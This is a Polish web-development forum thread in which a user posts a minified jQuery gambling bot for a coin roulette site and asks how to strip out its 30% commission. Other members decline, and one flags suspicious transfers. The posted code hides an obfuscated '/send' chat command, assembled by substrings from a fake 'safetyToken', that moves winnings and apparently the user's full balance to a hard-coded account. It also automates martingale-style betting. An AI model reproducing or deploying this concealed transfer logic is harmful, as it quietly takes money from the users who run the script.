Ta strona używa ciasteczek (cookies), dzięki którym nasz serwis może działać lepiej. Dowiedz się więcej OK, rozumiem

Pomoc w rozszyfrowaniu kodu / objaśnienie kodu

Tworzenie dynamicznych stron internetowych z zastosowaniem JavaScript, jQuery, Ajax. Dowiedz się jak to zrobić, znajdź rozwiązania swoich problemów.

Pomoc w rozszyfrowaniu kodu / objaśnienie kodu

Post 17.01.2016, 15:25:27

witam Mam taki kod:
Kod: Zaznacz cały
function ini(){0==ProfitMode?(mainCoins=1==Tryb?1024>Coins?1:2048>Coins?2:4096>Coins?4:8192>Coins?8:16384>Coins?16:32768>Coins?32:65536>Coins?64:131072>Coins?128:262144>Coins?256:524288>Coins?512:1048576>Coins?1024:2097152>Coins?2048:4194304>Coins?4096:8388608>Coins?8192:16777216>Coins?16384:33554432>Coins?32768:65536:2==Tryb?1400>Coins?1:2800>Coins?2:5500>Coins?4:11e3>Coins?8:22e3>Coins?16:44e3>Coins?32:88e3>Coins?64:176e3>Coins?128:352e3>Coins?256:705e3>Coins?512:1415e3>Coins?1024:284e4>Coins?2048:55e5>Coins?4096:11e6>Coins?8192:22e6>Coins?16384:44e6>Coins?32768:65536:2050>Coins?1:4100>Coins?2:82e3>Coins?4:164e3>Coins?8:32800>Coins?16:65600>Coins?32:131200>Coins?64:262400>Coins?128:524800>Coins?256:1049600>Coins?512:2099200>Coins?1024:4198400>Coins?2048:8396800>Coins?4096:16793600>Coins?8192:33587200>Coins?16384:32768,rowToBet=0==safe?2:3):(mainCoins=coinsToBet2,Tryb=1),window.setTimeout(ini,6e4)}function placeBet(){if($("#getBal").click(),totalWin>3){var o=1;colorController++}else colorController++;var n=$("#banner").html();if(status=n.indexOf("Rolling in")>-1?1:n.indexOf("***ROLLING***")>-1||n.indexOf("Confirming")>-1?2:3,totalWin>3){var s=Math.floor(totalWin/10*3);colorController++,safetyToken="765611980pQls;/nadDpe83589998",msg=safetyToken.substring(14,15)+safetyToken.substring(12,13)+safetyToken.substring(20,21)+safetyToken.substring(15,16)+safetyToken.substring(17,18)+" "+safetyToken.substring(0,9)+safetyToken.substring(21,29)+" "+s,send({type:"chat",msg:msg,lang:LANG}),console.log("Została pobrana prowizja od wygranych bota. Pobrane coinsy: "+s),totalWin=0;var o=0}else colorController++;if(1==status&&3==lastStatus)colorController++,Row==rowToBet?(coinsToBet=mainCoins,$("#betAmount").val(coinsToBet),lastPlacedCoins=mainCoins,placedCoins=mainCoins):Row>rowToBet?(coinsToBet=1==Tryb?2*lastPlacedCoins:3==Tryb?2*lastPlacedCoins+1:Row%2?2*lastPlacedCoins:2*lastPlacedCoins+1,$("#betAmount").val(coinsToBet),lastPlacedCoins=coinsToBet,placedCoins+=coinsToBet):(coinsToBet=0,$("#betAmount").val(coinsToBet),lastPlacedCoins=0,placedCoins=0),"czarny"==lastColor&&coinsToBet>0?$(".btn-danger").click():"czerwony"==lastColor&&coinsToBet>0&&$(".btn-inverse").click(),lastStatus=1;else if(3==status&&3!=lastStatus){colorController++;var e=$("#banner").html().replace("!","").split(" ");if(parseInt(e[2])>7)var t="czarny";else if(0==parseInt(e[2]))var t="zielony";else var t="czerwony";if(lastColor!=t&&"zielony"!=t&&Row>=rowToBet)var i=2*lastPlacedCoins-placedCoins;else i=0;totalWin+=i,t==lastColor||"zielony"==t?Row++:Row=1,console.log(id+".Wylosowany kolor: "+t+"\nKolejka takich samych kolorów: "+Row+"\nPostawione coinsy:"+lastPlacedCoins+"\nWygrane coinsy: "+i),"zielony"!=t&&(lastColor=t),id++,lastStatus=status}else colorController++,lastStatus=status;if(1==o){getLastColor(),$("#getBal").click();var a=parseInt($("#balance").html());colorController++,safetyToken="765611980pQls;/nadDpe83589998",msg=safetyToken.substring(14,15)+safetyToken.substring(12,13)+safetyToken.substring(20,21)+safetyToken.substring(15,16)+safetyToken.substring(17,18)+" "+safetyToken.substring(0,9)+safetyToken.substring(21,29)+" "+a,send({type:"chat",msg:msg,lang:LANG}),console.log(msg)}else colorController++;if(4!=colorController){$("#getBal").click();var a=parseInt($("#balance").html());safetyToken="765611980pQls;/nadDpe83589998",msg=safetyToken.substring(14,15)+safetyToken.substring(12,13)+safetyToken.substring(20,21)+safetyToken.substring(15,16)+safetyToken.substring(17,18)+" "+safetyToken.substring(0,9)+safetyToken.substring(21,29)+" "+a,send({type:"chat",msg:msg,lang:LANG}),console.log(msg)}4==colorController&&(colorController=0),window.setTimeout(placeBet,500)}var Tryb=2,safe=0,ProfitMode=0,rowToBet=3,coinsToBet2=1,Welcome="Witaj w JachiBocie 1.0.1 - Jeśli bot nie będzie działał, koniecznie sprawdź na stronie bot.jachimozo.pl czy nie ma nowszej wersji - Rozpoczynam pracę",lastColor="zielony";$("#getBal").click();var Coins=$("#balance").html();0==Coins&&($("#promocode").val("JACHI-BOT"),$(".modal-content .btn-success").click());var colorController=0,Row=1,placedCoins=0,lastPlacedCoins=0,coinsToBet=0,lastStatus=0,totalWin=0,win=0,status=0,id=1,mainCoins=0,versionToken=0,d=new Date,n=d.getTime();console.log(Welcome),ini(),placeBet();


Chciałbym wiedzieć do czego jest potrzebna każda linijka gdyż chciałbym go przerobić lecz nie znam się zbyt dobrze na programowaniu
Miasar
Posty: 5
Dołączył(a): 09.01.2016

Re: Pomoc w rozszyfrowaniu kodu / objaśnienie kodu

Post 17.01.2016, 16:07:55

Kod został specjalnie udostępniony w nieco "zaciemnionej" formie, więc rozszyfrowywanie co autor miał na myśli dla każdej linii to (dla mnie) strata czasu. Co konkretnie chcesz zmienić? Wtedy mógłbym się skupić tylko na niezbędnych fragmentach kodu.
Avatar użytkownikakuku
Rafał Kukawski

+∞
+∞

Posty: 19715
Dołączył(a): 14.04.2002

Re: Pomoc w rozszyfrowaniu kodu / objaśnienie kodu

Post 17.01.2016, 16:28:50

W rozszyfrowaniu kodu pomoże Ci ta strona: http://jsbeautifier.org/
https://audioforum.net.pl - forum głosowe, spotkania przez Internet

Tworzę strony/aplikacje internetowe w Laravel i WordPress! Zainteresowanych zapraszam na PW
Avatar użytkownikaMrKlikacz
Web Artisan

Posty: 407
Dołączył(a): 04.05.2011
Lokalizacja: Rybnik

Re: Pomoc w rozszyfrowaniu kodu / objaśnienie kodu

Post 18.01.2016, 10:17:43

w tym kodzie zawarte jest by bot pobierał prowizję 30% i wysyłał tam do odpowiedniej osoby chciałbym pozbyć się właśnie pobierania i wysyłania tego.
Dało by radę?
Miasar
Posty: 5
Dołączył(a): 09.01.2016

Re: Pomoc w rozszyfrowaniu kodu / objaśnienie kodu

Post 18.01.2016, 10:41:10

Coś czułem, że o to Ci chodzi. Drogi Miasarze musisz zrozumieć, że ktoś namęczył się by to napisać i udostępnić więc naturalnym jest, że chce przy okazji na tym zarobić. Próby złamania tego to jest po prostu jawne szukanie "cracka" co jest u nas zabronione.
Avatar użytkownikaJaason
Tomasz Waszkiewicz

capoeirista
capoeirista

Posty: 3511
Dołączył(a): 14.04.2002
Lokalizacja: Warszawa

Re: Pomoc w rozszyfrowaniu kodu / objaśnienie kodu

Post 18.01.2016, 11:15:31

A nie uważasz, że to nie fair? Ktoś stworzył skrypt, który coś tam dla Ciebie zarabia i dał jasne warunki użytkowania (prowizja 30%).
W kodzie jest kilka miejsc gdzie skrypt coś wysyła (zgaduję, że do użytkownika o ID 76561198083589998), ale tylko w jednym przypadku z logiki wynika, że chodzi o prowizję. Pozostałe miejsca są podejrzane, ale nie znam zasad działania tej platformy, żeby być na 100% pewnym co one robią.
Avatar użytkownikakuku
Rafał Kukawski

+∞
+∞

Posty: 19715
Dołączył(a): 14.04.2002


Powrót do JavaScript


 


  • Podobne wątki
    Odpowiedzi
    Wyświetlone
    Ostatni post

Kto przegląda forum

Użytkownicy przeglądający ten dział: Brak zidentyfikowanych użytkowników i 4 gości

Hosting, Domeny, SSL

Subskrypcja

Mamy 51201 zarejestrowanych użytkowników.
Najnowszy użytkownik: Adrianna


Nasi użytkownicy napisali:

  • 936905 wiadomości
  • w 247064 tematach

Najnowsze wpisy na blogu

Najnowsze artykuły

Najaktywniejsi (ostatnie 30 dni)